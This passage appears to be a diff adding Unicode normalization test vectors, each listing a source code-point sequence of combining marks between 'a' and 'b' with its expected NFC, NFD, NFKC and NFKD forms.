+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF5, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF6, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF7, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF8, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF9, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFA, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFB, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFC, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFD, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFE, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DFF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DFF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DFF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DFF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DFF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DFF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DFF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0316, 0x302A, 0x031B, 0x302A, 0x0062], NFC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062] },
+{ source: [0x0061, 0x302A, 0x0316, 0x302A, 0x031B, 0x0062], NFC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x302A, 0x302A, 0x0316, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x302B, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x302B, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x302B, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x302B, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x302B, 0x0300, 0x0062] },
+{ source: [0x0061, 0x302B, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x302B, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x302B, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x302B, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x302B, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x302C, 0x0062], NFC: [0x00E0, 0x0315, 0x302C, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x302C, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x302C, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x302C, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302C, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x302C, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x302C, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x302C, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x302C, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x302D, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x302D, 0x302E, 0x0062] },
+{ source: [0x0061, 0x302D, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x302D, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x302E, 0x059A, 0x302E, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x302E, 0x1D16D, 0x302E, 0x059A, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x302E, 0x059A, 0x302F, 0x0062], NFC: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302E, 0x302F, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x302F, 0x1D16D, 0x302E, 0x059A, 0x0062], NFC: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFD: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFKC: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062], NFKD: [0x0061, 0x059A, 0x302F, 0x302E, 0x1D16D, 0x0062] },
+{ source: [0x0061, 0x094D, 0x3099, 0x093C, 0x3099, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x3099, 0x094D, 0x3099, 0x093C, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x094D, 0x3099, 0x093C, 0x309A, 0x0062], NFC: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x3099, 0x309A, 0x094D, 0x0062] },
+{ source: [0x0061, 0x309A, 0x094D, 0x3099, 0x093C, 0x0062], NFC: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFD: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFKC: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062], NFKD: [0x0061, 0x093C, 0x309A, 0x3099, 0x094D, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA66F, 0x0062], NFC: [0x00E0, 0x05AE, 0xA66F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA66F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA66F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA66F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA66F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA66F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA674, 0x0062], NFC: [0x00E0, 0x05AE, 0xA674, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA674, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA674, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA674, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA674, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA674, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA675, 0x0062], NFC: [0x00E0, 0x05AE, 0xA675, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA675, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA675, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA675, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA675, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA675, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA676, 0x0062], NFC: [0x00E0, 0x05AE, 0xA676, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA676, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA676, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA676, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA676, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA676, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA677, 0x0062], NFC: [0x00E0, 0x05AE, 0xA677, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA677, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA677, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA677, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA677, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA677, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA678, 0x0062], NFC: [0x00E0, 0x05AE, 0xA678, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA678, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA678, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA678, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA678, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA678, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA679, 0x0062], NFC: [0x00E0, 0x05AE, 0xA679, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA679, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA679, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA679, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA679, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA679, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67A, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67A, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67B, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67B, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67C, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67C, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA67D, 0x0062], NFC: [0x00E0, 0x05AE, 0xA67D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA67D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA67D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA67D, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA67D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA67D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA69E, 0x0062], NFC: [0x00E0, 0x05AE, 0xA69E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA69E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA69E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA69E, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA69E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA69E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA69F, 0x0062], NFC: [0x00E0, 0x05AE, 0xA69F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA69F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA69F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA69F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA69F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA69F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA6F0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA6F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA6F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA6F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA6F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA6F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA6F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA6F1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA6F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA6F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA6F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA6F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA6F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA6F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA806, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA806, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA806, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA806, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA8C4, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA8C4, 0x05B0, 0x0062] },
